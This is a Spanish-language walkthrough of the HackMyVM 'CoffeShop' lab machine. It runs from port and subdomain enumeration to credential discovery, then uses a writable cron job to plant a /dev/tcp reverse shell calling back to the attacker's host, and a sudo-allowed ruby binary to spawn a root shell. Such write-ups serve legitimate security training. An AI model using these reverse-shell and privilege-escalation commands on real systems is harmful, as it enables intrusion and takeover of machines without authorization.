HackMyVM - CoffeShop
- Subdomain Enumeration - (WFUZZ)
- Cron Jobs - (User Pivoting)
- Abuse Ruby Binary - (Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.14
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80 -v 192.168.1.14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 81:a4:52:2b:14:3f:13:68:2b:e2:5b:c4:7b:d7:1a:a5 (ECDSA)
|_ 256 25:19:09:29:2f:b8:ea:b4:29:1f:6d:e7:13:d6:be:7e (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Under Construction - Midnight Coffee
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Visualizando el servicio HTTP veo el dominio midnight.coffee.
Antes de añadir el dominio a mi archivo hosts realizo fuerza bruta de extensiones.
❯ gobuster dir -u 192.168.1.14 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.14
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 277]
/shop (Status: 301) [Size: 311] [--> http://192.168.1.14/shop/]
Me voy al directorio /shop y veo una web de una cafetería.
Hago click en login y me sale una formulario de acceso.
Añado el domino midnight.coffee
a mi archivo hosts y realizo fuerza bruta de subdominios.
❯ wfuzz -t 200 -c --hl=69 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.midnight.coffee" http://midnight.coffee
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://midnight.coffee/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 71 L 152 W 1738 Ch "dev"
Visitando dev.midnight.coffee
encuentro las credenciales del usuario developer.
Vuelvo al panel del login que encontré anteriormente y al acceder con el usuario developer encuentro las credenciales del usuario tuna.
Me conecto al sistema como usuario tuna.
❯ ssh tuna@192.168.1.14
tuna@192.168.1.14's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Feb 6 11:06:38 AM UTC 2024
Last login: Tue Feb 6 11:06:38 2024 from 192.168.1.20
tuna@coffee-shop:~$ id
uid=1002(tuna) gid=1002(tuna) groups=1002(tuna)
tuna@coffee-shop:~$
Al enumerar tareas cron veo que el usuario shopadmin lanza el archivo execute.sh
.
tuna@coffee-shop:~$ cat /etc/crontab
* * * * * /bin/bash /home/shopadmin/execute.sh
Con nano leo el contenido de execute.sh
y básicamente ejecuta todos los archivos con extensión .sh
que se encuentren en el directorio /tmp.
tuna@coffee-shop:~$ nano /home/shopadmin/execute.sh
#!/bin/bash
/bin/bash /tmp/*.sh
Con toda esta información creo el archivo userpivoting.sh en el directorio /tmp con el siguiente contenido para que el usuario shopadmin me mande una shell por el puerto 4444 y así realizar el movimiento lateral.
tuna@coffee-shop:/tmp$ cat userpivoting.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.20/4444 0>&1
Al cabo de un minuto recibo la shell como usuario shopadmin.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.14] 46970
bash: cannot set terminal process group (196385): Inappropriate ioctl for device
bash: no job control in this shell
shopadmin@coffee-shop:~$ id
id
uid=1001(shopadmin) gid=1001(shopadmin) groups=1001(shopadmin)
shopadmin@coffee-shop:~$
Enumero permisos de sudo.
shopadmin@coffee-shop:~$ sudo -l
Matching Defaults entries for shopadmin on coffee-shop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User shopadmin may run the following commands on coffee-shop:
(root) NOPASSWD: /usr/bin/ruby * /opt/shop.rb
Busco información del binario ruby en gtfobins.
Obtengo el root de la siguiente forma.
shopadmin@coffee-shop:~$ sudo -u root ruby -e 'exec "/bin/sh"' /opt/shop.rb
bash -i
bash: cannot set terminal process group (196582): Inappropriate ioctl for device
bash: no job control in this shell
root@coffee-shop:/home/shopadmin# id
id
uid=0(root) gid=0(root) groups=0(root)
Y aquí termina la máquina CoffeeShop.
Saludos!